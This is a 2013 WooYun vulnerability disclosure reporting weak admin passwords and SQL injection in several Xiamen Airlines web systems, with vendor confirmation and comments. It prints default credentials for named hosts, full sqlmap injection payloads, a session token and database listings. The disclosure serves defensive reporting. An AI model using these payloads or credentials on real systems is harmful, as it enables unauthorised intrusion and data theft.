当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-045840

漏洞标题：厦门航空多个系统弱口令+sql注入漏洞

相关厂商：厦门航空

漏洞作者： 袋鼠妈妈

提交时间：2013-12-13 16:01

修复时间：2014-01-27 16:02

公开时间：2014-01-27 16:02

漏洞类型：后台弱口令

危害等级：高

自评Rank：13

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-12-13： 细节已通知厂商并且等待厂商处理中
2013-12-17： 厂商已经确认，细节仅向厂商公开
2013-12-27： 细节向核心白帽子及相关领域专家公开
2014-01-06： 细节向普通白帽子公开
2014-01-16： 细节向实习白帽子公开
2014-01-27： 细节向公众公开

简要描述：

厦门航空某几个系统弱口令并存在sql注入漏洞
（还有飞机维修资料哦 o(∩_∩)o 哈哈）

详细说明：

#1.
厦门航空在线学习网络学院 http://edu.xiamenair.com.cn/
（这个系统用来学习还不错,很多资源,礼仪啊,飞机维修啊等等~~）
（1）弱口令 admin 123456
（2）sql注入:

http://edu.xiamenair.com.cn/login.aspx


post:

__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=/wEPDwULLTE1OTIxNTk1NTgPZBYCZg9kFgICAw9kFgJmDxBkDxYDZgIBAgIWAxAFDOm7mOiupOmjjuagvAUHRGVmYXVsdGcQBQznuqLoibLpo47moLwFA1JlZGcQBQzok53oibLpo47moLwFBEJsdWVnFgFmZBgBBR5fX0NvbnRyb2xzUmVxdWlyZVBvc3RCYWNrS2V5X18WAgUaY3RsMDAkY3AkTG9naW4xJFJlbWVtYmVyTWUFIGN0bDAwJGNwJExvZ2luMSRMb2dpbkltYWdlQnV0dG9uY4aRsjx71bolp9QeblLrhYA2%2BJ0%3D&__EVENTVALIDATION=/wEWBQLkiOX3BwLEmrPyBwK5t6XjAwLmwt6bCwLstN%2B%2BDPIxIJKt5GK5IU/LVbyPGW%2BhjdcD&ctl00$cp$Login1$UserName=admin&ctl00$cp$Login1$Password=123456&ctl00$cp$Login1$LoginButton= %E7%99%BB  %E5%BD%95


当前数据库:eduxmhk

Place: POST
Parameter: ctl00$cp$Login1$Password
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: __EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=/wEPDwULLTE1OTIxNTk1NTgPZBYCZg9kFgICAw9kFgRmDxBkDxYDZgIBAgIWAxAFDOm7mOiupOmjjuagvAUHRGVmYXVsdGcQBQznuqLoibLpo47moLwFA1JlZGcQBQzok53oibLpo47moLwFBEJsdWVnFgFmZAIBD2QWAmYPPCsACgEADxYCHghVc2VyTmFtZQUFYWRtaW5kZBgBBR5fX0NvbnRyb2xzUmVxdWlyZVBvc3RCYWNrS2V5X18WAgUaY3RsMDAkY3AkTG9naW4xJFJlbWVtYmVyTWUFIGN0bDAwJGNwJExvZ2luMSRMb2dpbkltYWdlQnV0dG9ugFHWQsMlulOqwrYRwFDpaiku9XU=&__EVENTVALIDATION=/wEWBQLvyvnlDgLEmrPyBwK5t6XjAwLmwt6bCwLstN  DBpqKEPpXNUGsUzp  /WSrjcpvZM&ctl00$cp$Login1$UserName=admin&ctl00$cp$Login1$Password=123456' AND 1257=1257 AND 'OBdW'='OBdW&ctl00$cp$Login1$LoginButton= %E7%99%BB  %E5%BD%95 
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: __EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=/wEPDwULLTE1OTIxNTk1NTgPZBYCZg9kFgICAw9kFgRmDxBkDxYDZgIBAgIWAxAFDOm7mOiupOmjjuagvAUHRGVmYXVsdGcQBQznuqLoibLpo47moLwFA1JlZGcQBQzok53oibLpo47moLwFBEJsdWVnFgFmZAIBD2QWAmYPPCsACgEADxYCHghVc2VyTmFtZQUFYWRtaW5kZBgBBR5fX0NvbnRyb2xzUmVxdWlyZVBvc3RCYWNrS2V5X18WAgUaY3RsMDAkY3AkTG9naW4xJFJlbWVtYmVyTWUFIGN0bDAwJGNwJExvZ2luMSRMb2dpbkltYWdlQnV0dG9ugFHWQsMlulOqwrYRwFDpaiku9XU=&__EVENTVALIDATION=/wEWBQLvyvnlDgLEmrPyBwK5t6XjAwLmwt6bCwLstN  DBpqKEPpXNUGsUzp  /WSrjcpvZM&ctl00$cp$Login1$UserName=admin&ctl00$cp$Login1$Password=123456' AND 9570=CONVERT(INT,(CHAR(58) CHAR(103) CHAR(120) CHAR(112) CHAR(58) (SELECT (CASE WHEN (9570=9570) THEN CHAR(49) ELSE CHAR(48) END)) CHAR(58) CHAR(102) CHAR(108) CHAR(104) CHAR(58))) AND 'wYKm'='wYKm&ctl00$cp$Login1$LoginButton= %E7%99%BB  %E5%BD%95 
    Type: UNION query
    Title: Generic UNION query (NULL) - 1 column
    Payload: __EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=/wEPDwULLTE1OTIxNTk1NTgPZBYCZg9kFgICAw9kFgRmDxBkDxYDZgIBAgIWAxAFDOm7mOiupOmjjuagvAUHRGVmYXVsdGcQBQznuqLoibLpo47moLwFA1JlZGcQBQzok53oibLpo47moLwFBEJsdWVnFgFmZAIBD2QWAmYPPCsACgEADxYCHghVc2VyTmFtZQUFYWRtaW5kZBgBBR5fX0NvbnRyb2xzUmVxdWlyZVBvc3RCYWNrS2V5X18WAgUaY3RsMDAkY3AkTG9naW4xJFJlbWVtYmVyTWUFIGN0bDAwJGNwJExvZ2luMSRMb2dpbkltYWdlQnV0dG9ugFHWQsMlulOqwrYRwFDpaiku9XU=&__EVENTVALIDATION=/wEWBQLvyvnlDgLEmrPyBwK5t6XjAwLmwt6bCwLstN  DBpqKEPpXNUGsUzp  /WSrjcpvZM&ctl00$cp$Login1$UserName=admin&ctl00$cp$Login1$Password=123456' UNION ALL SELECT CHAR(58) CHAR(103) CHAR(120) CHAR(112) CHAR(58) CHAR(111) CHAR(80) CHAR(88) CHAR(115) CHAR(67) CHAR(113) CHAR(100) CHAR(68) CHAR(100) CHAR(100) CHAR(58) CHAR(102) CHAR(108) CHAR(104) CHAR(58)-- &ctl00$cp$Login1$LoginButton= %E7%99%BB  %E5%BD%95 
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: __EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=/wEPDwULLTE1OTIxNTk1NTgPZBYCZg9kFgICAw9kFgRmDxBkDxYDZgIBAgIWAxAFDOm7mOiupOmjjuagvAUHRGVmYXVsdGcQBQznuqLoibLpo47moLwFA1JlZGcQBQzok53oibLpo47moLwFBEJsdWVnFgFmZAIBD2QWAmYPPCsACgEADxYCHghVc2VyTmFtZQUFYWRtaW5kZBgBBR5fX0NvbnRyb2xzUmVxdWlyZVBvc3RCYWNrS2V5X18WAgUaY3RsMDAkY3AkTG9naW4xJFJlbWVtYmVyTWUFIGN0bDAwJGNwJExvZ2luMSRMb2dpbkltYWdlQnV0dG9ugFHWQsMlulOqwrYRwFDpaiku9XU=&__EVENTVALIDATION=/wEWBQLvyvnlDgLEmrPyBwK5t6XjAwLmwt6bCwLstN  DBpqKEPpXNUGsUzp  /WSrjcpvZM&ctl00$cp$Login1$UserName=admin&ctl00$cp$Login1$Password=123456' WAITFOR DELAY '0:0:5'--&ctl00$cp$Login1$LoginButton= %E7%99%BB  %E5%BD%95 
---
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
available databases [27]:
[*] ais
[*] aocnewsdb
[*] aq
[*] cab
[*] ccq
[*] citrix13
[*] citrix13b
[*] citrix_db
[*] citrix_rm
[*] citrixdb
[*] citrixrm
[*] eduxmhk
[*] hellosky_bbs
[*] jwhcsy_db
[*] jwnewsdb
[*] lknewsdb
[*] mailtest
[*] master
[*] model
[*] msdb
[*] pcnewsdb
[*] repository
[*] scorm
[*] telbank
[*] tempdb
[*] xmair
[*] xmhr_new


3.GIF


6.GIF


2.GIF


1.GIF


#2.http://210.13.209.87:9006/（任意用户名/密码都可进）猜测是测试系统吧
(1)弱口令 admin admin
(2)SQL注入:

http://210.13.209.87:9006/ManageSub/Flight/GetMBList?ata=x&Mb_no=x&model=x&title=x&pageSize=12&PageIndex=1&SearchPage=NoticeSearch&t=1386914374490


cookie:

mportal_token=be4ad861445348d2b3b94bab8d2d2512


当前数据库：reliability

web server operating system: Windows 2003
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: Microsoft SQL Server 2005
available databases [24]:
[*] AirFASE
[*] engineering
[*] jwccwm
[*] jwhcsy_db
[*] jwyd
[*] jwyd_test
[*] login
[*] maintenance
[*] master
[*] ME_publicA
[*] model
[*] msdb
[*] PRODUCE
[*] produce_test
[*] reliability
[*] reliability_hangan
[*] reliability_hb
[*] reliability_test
[*] reliaiility1111
[*] sqlcheck
[*] tempdb
[*] test_powerbuilder
[*] testonline
[*] web_reliability


1.GIF


2.GIF


5.GIF


#3.http://210.13.209.87:9005/
弱口令:admin admin
功能挺多的,应该也在测试阶段吧，有上传的地方,试了下多上传格式没有限制，但偶找不到上传后的地址，而且这个系统和端口9006的系统似乎是通用的.

1.GIF


2.GIF


3.GIF


漏洞证明：

#1.

3.GIF


6.GIF


#2

2.GIF


5.GIF


#3

1.GIF


2.GIF


修复方案：

强壮密码.即便是测试系统也把sql注入补啦吧..

版权声明：转载请注明来源 袋鼠妈妈@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：13

确认时间：2013-12-17 20:45

厂商回复：

CNVD确认并复现所述情况，转由CNCERT下发给福建分中心，由其后续联系网站管理单位处置。按多个漏洞进行评分，rank 13

最新状态：

暂无

漏洞评价：

评论

  1. 2013-12-13 17:59 | Ivan ( 实习白帽子 | Rank:81 漏洞数:9 | 小菜逼一个)

    ……刚坐了厦航的飞机

  2. 2013-12-18 09:24 | 浪迹海角 ( 路人 | Rank:20 漏洞数:4 | 低调，谢绝各种查水表、快递、家电下乡、人...)

    @Ivan 还好他没把你打下来。

  3. 2013-12-18 15:49 | 厦门航空-信息安全(乌云厂商)

    目前已经整改得差不多，漏洞并不涉及重要的网站，所以请大家不用担心。^-^

  4. 2013-12-18 18:10 | 袋鼠妈妈 ( 普通白帽子 | Rank:449 漏洞数:61 | 故乡的原风景.MP3)

    @厦门航空-信息安全 hello..o(∩_∩)o

  5. 2013-12-19 10:37 | 厦门航空-信息安全(乌云厂商)

    @袋鼠妈妈 你好，谢谢您的支持